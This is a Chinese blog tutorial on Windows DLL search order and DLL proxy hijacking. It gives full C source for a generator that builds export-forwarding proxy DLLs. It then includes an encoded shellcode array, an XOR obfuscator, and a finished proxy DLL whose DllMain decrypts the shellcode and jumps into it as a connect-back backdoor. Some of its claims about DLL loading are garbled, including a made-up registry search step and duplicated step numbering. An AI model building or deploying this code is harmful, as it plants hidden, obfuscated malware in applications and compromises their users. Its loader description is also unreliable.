在Windows
操作系统中,动态链接库DLL
是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在Windows
系统中,两个最基础的链接库就是Ntdll.dll
和Kernel32.dll
。
Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如文件操作、进程和线程管理、内存操作等等。在进程启动时,操作系统会先加载Ntdll.dll
,并将其映射到该进程的地址空间中。由于Ntdll.dll
是如此重要,所以任何对其的劫持都是无效的。这也是为什么说在应用层下,无论什么程序都无法修改或替换Ntdll.dll
的原因。
另一个常见的链接库是Kernel32.dll
,它是Windows系统最基本的用户模式API之一。该库包含了大量的系统函数,如内存管理、进程和线程管理、文件操作、设备驱动程序管理等等。与Ntdll.dll
不同的是,Kernel32.dll
可以被劫持或替换。在程序启动时,操作系统会先将Ntdll.dll
加载到进程地址空间中,然后将Kernel32.dll
加载到内存中,并将其导出函数地址添加到进程的导出表中。在程序执行过程中,如果需要使用Kernel32.dll
中的函数,则可以通过在导出表中查找函数的地址来实现。因此,对于除Ntdll.dll
以外的其他链接库,理论上来说都是可以被劫持或替换的。
1.13.1 动态链接库加载顺序
当系统启动时,系统进程smss.exe
会负责加载并初始化所有的系统服务和驱动程序。在此过程中,系统会先将一些常用的DLL
文件预加载到内存中,以加快系统的启动速度。
这些常用的DLL文件
的信息会被保存在注册表中的\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
路径下。
这个注册表键值包含了一个列表,其中存储了操作系统预加载的DLL文件
的名称和路径。当操作系统需要加载某个DLL
时,它会先在这个列表中查找,如果找到了对应的DLL
文件,就会直接从预加载的内存中加载这个DLL,而不是从磁盘上重新读取。预加载DLL的优点是可以加快系统的启动速度,因为预加载的DLL文件已经被缓存到内存中,可以直接从内存中读取,而不需要再次从硬盘中读取。这样可以避免由于磁盘读写速度较慢而导致的启动延迟。
读者需要注意,预加载的DLL
文件仅包含了系统中一些常用的DLL
文件,而不包括所有的DLL
文件。当程序需要加载一个没有被预加载的DLL文件
时,操作系统会从磁盘上读取这个DLL
文件,并将其加载到内存中。这种情况下,DLL文件的加载顺序是按照程序需要的顺序来进行的。当一个程序需要多个DLL
文件时,这些DLL
文件的加载顺序是有先后顺序的,通常是从最基本的DLL
文件开始,逐步向上层的DLL
文件进行加载。这种顺序可以保证程序的正确性和稳定性。
程序需要加载某个DLL文件时,系统会按照如下顺序动态查找:
- 1.首先查找应用程序自身目录,如果DLL文件存在于应用程序的目录下,则直接加载这个DLL文件。
- 2.如果DLL文件不存在于应用程序的目录下,则系统会查找系统目录
C:\Windows\System32
或C:\Windows\SysWOW64
,如果DLL文件存在于系统目录下,则直接加载这个DLL文件。 - 3.如果DLL文件既不存在于应用程序的目录下,也不存在于系统目录下,则系统会查找环境变量PATH所指定的路径。如果DLL文件存在于PATH所指定的路径中的任意一个目录下,则直接加载这个DLL文件。
- 3.如果DLL文件还是没有被找到,则系统会尝试从注册表中查找DLL文件所对应的路径。这个过程是通过查找注册表键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DLLDirectories
下的子键完成的,这些子键包含了DLL文件所在的目录路径。 - 4.如果在注册表中还没有找到DLL文件,则系统会在所有已加载的DLL文件中查找是否有该DLL文件的导入项。如果存在,则说明该DLL文件已经被其他DLL文件加载,系统会尝试使用已加载的DLL文件来满足当前程序的需要。
- 5.如果前面的步骤都没有找到DLL文件,则系统会提示找不到所需的DLL文件,并终止当前进程的执行。
1.13.2 实现DLL劫持代码生成
根据上方描述,读者应该能发现一个问题,如果在某个lyshark.exe
应用程序根目录下重命名一个与其所调用DLL相同名称的DLL,而把原始DLL文件更名为其他名称,当应用程序调用时则该调用将被我们自己的DLL所接管,当处理完时则把这个请求传递给原始DLL执行,此时原函数依然可以被执行,而我们就算做了一个中间商,我们则可以在调用之间增加自己的功能,以此来实现应用功能的劫持及插入;
要实现上述功能,则我们需要得到指定DLL模块中所有的导出函数名称及导出序号,并将其通过/EXPORT:%s=%s.%s,@%d
的方式生成一个新的DLL文件,有了思路那么就开始实现吧;
首先需要做的是打开一个DLL文件,并定位到PIMAGE_NT_HEADERS
头部,将头部指针返回给全局变量NtHeader
存储,实现该功能的核心是通过ReadFile
将文件读入内存,并通过PIMAGE_NT_HEADERS
强转为指针类型,将该数据存储到全局变量内保存;
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
PIMAGE_DOS_HEADER DosHeader = nullptr;
PIMAGE_NT_HEADERS NtHeader = nullptr;
DWORD FileBase = 0;
void OpenPeFile(LPCSTR FileName)
{
HANDLE Handle = CreateFileA(FileName, GENERIC_READ, NULL,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (Handle == INVALID_HANDLE_VALUE)
return;
DWORD FileSize = GetFileSize(Handle, NULL);
DWORD OperSize = 0;
FileBase = (DWORD)new BYTE[FileSize];
ReadFile(Handle, (LPVOID)FileBase, FileSize, &OperSize, NULL);
// 获取DOS头并判断是不是一个有效的DOS文件
DosHeader = (PIMAGE_DOS_HEADER)FileBase;
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
exit(0);
// 获取 NT 头并判断是不是一个有效的PE文件
NtHeader = (PIMAGE_NT_HEADERS)(FileBase + DosHeader->e_lfanew);
if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
exit(0);
CloseHandle(Handle);
}
接着需要实现一个地址转换功能以用于导出函数解析时使用,将RVA(相对虚拟地址)
转换为FOA(文件偏移地址)
,RVA是相对于模块基址的偏移量,而FOA
是相对于文件开头的偏移量,该函数的实现原理是遍历PE文件
中所有的节(Section)
,找到包含给定RVA
的节,并计算出相应的FOA。
首先获取PE文件
中节表的指针,然后遍历所有节,对于每个节,计算该节的起始RVA
和结束RVA
,并判断给定的RVA
是否在该节的地址范围内。如果找到包含给定RVA
的节,则根据该节的信息计算出该RVA
对应的FOA
并返回。
DWORD RVAtoFOA(DWORD rva)
{
auto SectionTables = IMAGE_FIRST_SECTION(NtHeader);
WORD Count = NtHeader->FileHeader.NumberOfSections;
for (int i = 0; i < Count; ++i)
{
DWORD Section_Start = SectionTables[i].VirtualAddress;
DWORD Section_Ends = SectionTables[i].VirtualAddress + SectionTables[i].SizeOfRawData;
if (rva >= Section_Start && rva < Section_Ends)
{
return rva - SectionTables[i].VirtualAddress + SectionTables[i].PointerToRawData;
}
}
return -1;
}
有了前面的基础,我们就可以实现导出表劫持功能了,如下所示GenerateEAT
则是一个导出文件生成工具,其传入一个DLL文件名,及原函数名前缀/劫持后名称
,并自动生成一个可编译的DLL源程序,读者只需要拿到源程序进行编译即可得到一个导出表劫持DLL了,这段C代码实现原理如下所示;
- 1.通过
CreateFileA
和ReadFile
函数获取PE文件
的内容,然后获取其DOS
头和NT
头。 - 2.通过
NT头
的数据目录
中的导出表
的虚拟地址,定位导出表的位置,并获取导出表的信息,包括导出函数数量、导出函数名称数量、函数地址表、函数名称表、函数名称序号表等。 - 3.遍历导出函数名称表,获取每个导出函数的名称,并以该名称作为导出函数的别名,通过
#pragma comment
语句将导出函数别名和实际函数名映射到导出表中,从而实现对导出函数的劫持和代理。 - 4.使用
fwrite
函数将生成的代理DLL
的代码写入到新的DLL
文件中,并使用fclose
函数关闭文件句柄。
void GenerateEAT(char* FileName, char* OldDllName)
{
DWORD rav = NtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
auto ExportTable = (PIMAGE_EXPORT_DIRECTORY)(RVAtoFOA(rav) + FileBase);
DWORD NameCount = ExportTable->NumberOfNames;
DWORD FunctionCount = ExportTable->NumberOfFunctions;
DWORD* Addr_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfFunctions) + FileBase);
DWORD* Name_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfNames) + FileBase);
WORD* Id_Table = (WORD*)(RVAtoFOA(ExportTable->AddressOfNameOrdinals) + FileBase);
FILE* fp = fopen(FileName, "a+");
char buf[8192] = { 0 };
sprintf(buf, "// PowerBy:LyShark\n#include <stdio.h>\n#include <windows.h>\n\n");
fwrite(buf, strlen(buf), 1, fp);
for (DWORD i = 0; i < FunctionCount; ++i)
{
for (DWORD j = 0; j < NameCount; ++j)
{
if (i == Id_Table[j])
{
CHAR* Name = (CHAR*)(RVAtoFOA(Name_Table[j]) + FileBase);
sprintf(buf, "#pragma comment(linker, \"/EXPORT:%s=%s.%s,@%d\") \n",Name, OldDllName, Name, i + 1);
fwrite(buf, strlen(buf), 1, fp);
_flushall();
Sleep(20);
printf("%s", buf);
break;
}
}
}
sprintf(buf,
"\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\n"
"{\n"
" if (dwReason == DLL_PROCESS_ATTACH)\n"
" {\n"
" DisableThreadLibraryCalls(hModule);\n"
" }\n"
" return TRUE;\n"
"}\n");
fwrite(buf, strlen(buf), 1, fp);
_fcloseall();
}
编译工具并执行GenEAT.exe -d ./lyshark.dll -c ./lyshark.c -n old_lyshark
执行后会生成lyshark.c
文件,当读者传入参数是将自动生成lyshark.dll
文件的导出表文件lyshark.c
其劫持后名称为old_lyshark
。
int main(int argc, char* argv[])
{
if (argc == 7)
{
if (!strcmp(argv[1], "-d") && !strcmp(argv[3], "-c") && !strcmp(argv[5], "-n"))
{
OpenPeFile(argv[2]);
GenerateEAT(argv[4], argv[6]);
}
}
return 0;
}
1.13.3 实现劫持ShellCode注入
有前面的导出表DLL生成功能,那么实现劫持就变得很容易了,为了能够演示这种劫持技术,此处我们需要自行生成一个lyshark.dll
以及一个main.exe
程序。
先来创建一个DLL
并导出两个函数,然后创建主程序动态的加载这个DLL,此DLL程序只包含了几个简单的计算功能。
#include <Windows.h>
extern "C" int __declspec(dllexport)add(int x, int y)
{
return x + y;
}
extern "C" int __declspec(dllexport)sub(int x, int y)
{
return x - y;
}
extern "C" int __declspec(dllexport)mul(int x, int y)
{
return x * y;
}
extern "C" int __declspec(dllexport)divs(int x, int y)
{
return x / y;
}
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
接着编译main.cpp
程序并生成main.exe
,生成程序后,将lyshark.dll
放入同一个目录下即可,程序运行后会通过LoadLibrary
加载lyshark.dll
到自身,并通过GetProcAddress
动态获取到addFun
的函数地址,调用其函数实现加法计算;
#include <stdio.h>
#include <Windows.h>
typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int);
int main(int argc, char *argv[])
{
HINSTANCE DllAddr;
lpAdd addFun;
DllAddr = LoadLibrary("lyshark.dll");
addFun = (lpAdd)GetProcAddress(DllAddr, "add");
if (NULL != addFun)
{
int res = addFun(100, 200);
printf("结果: %d \n", res);
}
FreeLibrary(DllAddr);
system("pause");
return 0;
}
当读者编译好这两段程序后,请将其放入到同级目录下,运行main.exe
则会看到输出计算结果,如下图所示;
通过运行劫持程序GenEAT.exe
则读者会看到如下图所示的输出,此时打开lyshark.c
则是我们的劫持DLL源代码文件;
为了保证后门的稳定性,此处我们实现了XorEncodeDeCode
函数,该函数的作用是对一个存储在变量buf
中的ShellCode
进行加密,并输出加密后的结果。
首先,代码定义了一个名为cCode
的字符数组,并将变量StrPasswd
的值复制到了这个数组中。然后,使用一个for
循环遍历cCode
数组中的每个字符,将其与Xor_Key
的乘积相加,并将结果存储回Xor_Key
中。这样就得到了一个动态计算的密钥。
接下来,代码使用一个for
循环遍历buf
数组中的每个字节,并将其与Xor_Key
进行异或运算。异或运算可以实现简单的加密和解密操作,这里用它来加密buf
数组中存储的ShellCode
。每次进行异或运算后将数据输出。
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
unsigned char buf[] =
"\xbf\x7f\x06\x7d\x30\xdb\xd9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x7e\x14\x03\x7e\x14\x83\xee\xfc\x9d\xf3\x81"
"\xd8\xee\xfc\x79\x19\x90\x75\x9c\x28\x82\xe2\xd4\x19\x12"
"\x60\xb8\x91\xd9\x24\x29\x9b\x22\xc7\xe6\x91\xfa\x53\x7a"
"\x0e\x33\xa4\xd7\x72\x52\x58\x2a\xa7\xb4\x61\xe5\xba\xb5"
"\xa6\xb3\xb1\x5a\x7a\x13\xb1\xf6\x6b\x10\x87\xca\x8a\xf6"
"\x83\x72\xf5\x73\x53\x06\x49\x7d\x84\x6d\x19\x65\x74\xfa"
"\xc2\xb5\x75\x2f\x77\x7c\x01\xf3\x31\xf4\xde\x80\xc3\xdc"
"\x2e\x69\xf2\x20\xfc\x54\x3a\xad\xfc\x91\xfd\x4e\x8b\xe9"
"\xfd\xf3\x8c\x2a\x7f\x28\x18\xac\x27\xbb\xba\x08\xd9\x68"
"\x5c\xdb\xd5\xc5\x2a\x83\xf9\xd8\xff\xb8\x06\x50\xfe\x6e"
"\x8f\x22\x25\xaa\xcb\xf1\x44\xeb\xb1\x54\x78\xeb\x1e\x08"
"\xdc\x60\x8c\x5f\x60\x89\x4e\x60\x3c\x1d\x82\xad\xbf\xdd"
"\x8c\xa6\xcc\xef\x13\x1d\x5b\x43\xdb\xbb\x9c\xd2\xcb\x3b"
"\x72\x5c\x9b\xc5\x73\x9c\xb5\x01\x27\xcc\xad\xa0\x48\x87"
"\x2d\x4c\x9d\x3d\x24\xda\xde\x69\x31\x9d\xb7\x6b\x42\x86"
"\x48\xe2\xa4\x98\x06\xa4\x78\x59\xf7\x04\x29\x31\x1d\x8b"
"\x16\x21\x1e\x46\x3f\xc8\xf1\x3e\x17\x65\x6b\x1b\xe3\x14"
"\x74\xb6\x89\x17\xfe\x32\x6d\xd9\xf7\x37\x7d\x0e\x60\xb7"
"\x7d\xcf\x05\xb7\x17\xcb\x8f\xe0\x8f\xd1\xf6\xc6\x0f\x29"
"\xdd\x55\x57\xd5\xa0\x6f\x23\xe0\x36\xcf\x5b\x0d\xd7\xcf"
"\x9b\x5b\xbd\xcf\xf3\x3b\xe5\x9c\xe6\x43\x30\xb1\xba\xd1"
"\xbb\xe3\x6f\x71\xd4\x09\x49\xb5\x7b\xf2\xbc\xc5\x7c\x0c"
"\x42\xe2\x24\x64\xbc\xb2\xd4\x74\xd6\x32\x85\x1c\x2d\x1c"
"\x2a\xec\xce\xb7\x63\x64\x44\x56\xc1\x15\x59\x73\x87\x8b"
"\x5a\x70\x1c\x3c\x20\xf9\xa3\xbd\xd5\x13\xc0\xbe\xd5\x1b"
"\xf6\x83\x03\x22\x8c\xc2\x97\x11\x9f\x71\xb5\x30\x0a\x79"
"\xe9\x43\x1f";
// 计算异或密钥对,并对ShellCode进行加解密
void XorEncodeDeCode(TCHAR* StrPasswd)
{
TCHAR cCode[32] = { 0 };
_tcscpy(cCode, StrPasswd);
// 动态计算字符串生成密钥
DWORD Xor_Key = 0;
for (unsigned int x = 0; x < lstrlen(cCode); x++)
{
Xor_Key = Xor_Key * 4 + cCode[x];
}
// 加密ShellCode并输出
int nLen = sizeof(buf) - 1;
printf("unsigned char buf[] = \n\"");
for (int count = 0; count < nLen; count++)
{
buf[count] = buf[count] ^ Xor_Key;
printf("\\x%x", buf[count]);
if (count % 15 == 0 && count != 0)
{
printf("\"\n\"");
}
}
printf("\";\n");
}
int main(int argc, char *argv[])
{
// 传入密钥加密数据
XorEncodeDeCode("lyshark");
system("pause");
return 0;
}
代码使用printf
函数输出当前字节的十六进制表示形式,为了美观起见,代码在输出时每输出15个字节就插入一个换行符,使得输出的结果分行显示。同时,代码还在每行输出前后添加了一些字符串格式化符号,以便将输出的结果转换为一个C语言风格的数组定义,输出效果如下图所示;
根据上述代码,我们可以写出如下导出语法,读者需要将如下DLL生成为lyshark.dll
文件,并将原始的DLL文件改名为old_lyshark.dll
。
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#pragma comment(linker, "/EXPORT:add=old_lyshark.add,@1")
#pragma comment(linker, "/EXPORT:divs=old_lyshark.divs,@2")
#pragma comment(linker, "/EXPORT:mul=old_lyshark.mul,@3")
#pragma comment(linker, "/EXPORT:sub=old_lyshark.sub,@4")
unsigned char buf[] =
"\xfc\x3c\x45\x3e\x73\x98\x9a\x9a\x37\x67\xb7\x1d\x6a\x8a\xf2\x1a"
"\x72\x3d\x57\x40\x3d\x57\xc0\xad\xbf\xde\xb0\xc2\x9b\xad\xbf"
"\x3a\x5a\xd3\x36\xdf\x6b\xc1\xa1\x97\x5a\x51\x23\xfb\xd2\x9a"
"\x67\x6a\xd8\x61\x84\xa5\xd2\xb9\x10\x39\x4d\x70\xe7\x94\x31"
"\x11\x1b\x69\xe4\xf7\x22\xa6\xf9\xf6\xe5\xf0\xf2\x19\x39\x50"
"\xf2\xb5\x28\x53\xc4\x89\xc9\xb5\xc0\x31\xb6\x30\x10\x45\xa"
"\x3e\xc7\x2e\x5a\x26\x37\xb9\x81\xf6\x36\x6c\x34\x3f\x42\xb0"
"\x72\xb7\x9d\xc3\x80\x9f\x6d\x2a\xb1\x63\xbf\x17\x79\xee\xbf"
"\xd2\xbe\xd\xc8\xaa\xbe\xb0\xcf\x69\x3c\x6b\x5b\xef\x64\xf8"
"\xf9\x4b\x9a\x2b\x1f\x98\x96\x86\x69\xc0\xba\x9b\xbc\xfb\x45"
"\x13\xbd\x2d\xcc\x61\x66\xe9\x88\xb2\x7\xa8\xf2\x17\x3b\xa8"
"\x5d\x4b\x9f\x23\xcf\x1c\x23\xca\xd\x23\x7f\x5e\xc1\xee\xfc"
"\x9e\xcf\xe5\x8f\xac\x50\x5e\x18\x0\x98\xf8\xdf\x91\x88\x78"
"\x31\x1f\xd8\x86\x30\xdf\xf6\x42\x64\x8f\xee\xe3\xb\xc4\x6e"
"\xf\xde\x7e\x67\x99\x9d\x2a\x72\xde\xf4\x28\x1\xc5\xb\xa1"
"\xe7\xdb\x45\xe7\x3b\x1a\xb4\x47\x6a\x72\x5e\xc8\x55\x62\x5d"
"\x5\x7c\x8b\xb2\x7d\x54\x26\x28\x58\xa0\x57\x37\xf5\xca\x54"
"\xbd\x71\x2e\x9a\xb4\x74\x3e\x4d\x23\xf4\x3e\x8c\x46\xf4\x54"
"\x88\xcc\xa3\xcc\x92\xb5\x85\x4c\x6a\x9e\x16\x14\x96\xe3\x2c"
"\x60\xa3\x75\x8c\x18\x4e\x94\x8c\xd8\x18\xfe\x8c\xb0\x78\xa6"
"\xdf\xa5\x0\x73\xf2\xf9\x92\xf8\xa0\x2c\x32\x97\x4a\xa\xf6"
"\x38\xb1\xff\x86\x3f\x4f\x1\xa1\x67\x27\xff\xf1\x97\x37\x95"
"\x71\xc6\x5f\x6e\x5f\x69\xaf\x8d\xf4\x20\x27\x7\x15\x82\x56"
"\x1a\x30\xc4\xc8\x19\x33\x5f\x7f\x63\xba\xe0\xfe\x96\x50\x83"
"\xfd\x96\x58\xb5\xc0\x40\x61\xcf\x81\xd4\x52\xdc\x32\xf6\x73"
"\x49\x3a\xaa\x0\x5c";
// 动态解密ShellCOde
void XorEncodeDeCode(TCHAR *StrPasswd)
{
TCHAR cCode[32] = { 0 };
_tcscpy(cCode, StrPasswd);
// 动态计算字符串生成密钥
DWORD Xor_Key;
for (unsigned int x = 0; x < lstrlen(cCode); x++)
{
Xor_Key = Xor_Key * 4 + cCode[x];
}
// 加密ShellCode并放入到原始空间中
int nLen = sizeof(buf) - 1;
for (int i = 0; i<nLen; i++)
{
buf[i] = buf[i] ^ Xor_Key;
}
}
HANDLE MyhThread = NULL;
DWORD WINAPI MyRun(LPVOID pParameter)
{
// 解密ShellCode
XorEncodeDeCode(L"lyshark");
// 执行反弹
__asm
{
mov eax, offset buf;
jmp eax;
}
/*
__asm
{
lea eax, offset buf;
push eax;
ret;
}
__asm
{
mov eax, offset buf;
_emit 0xFF;
_emit 0xE0;
}
*/
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
// 禁用DLL的DLL_THREAD_ATTACH和DLL_THREAD_DETACH通知
DisableThreadLibraryCalls(hModule);
MyhThread = ::CreateThread(NULL, 0, &MyRun, 0, 0, 0);
}
return TRUE;
}
至此程序运行后则会首先执行我们的ShellCode
代码,然后在执行原函数完成动态调用的功能;
本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3ee1efdc.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!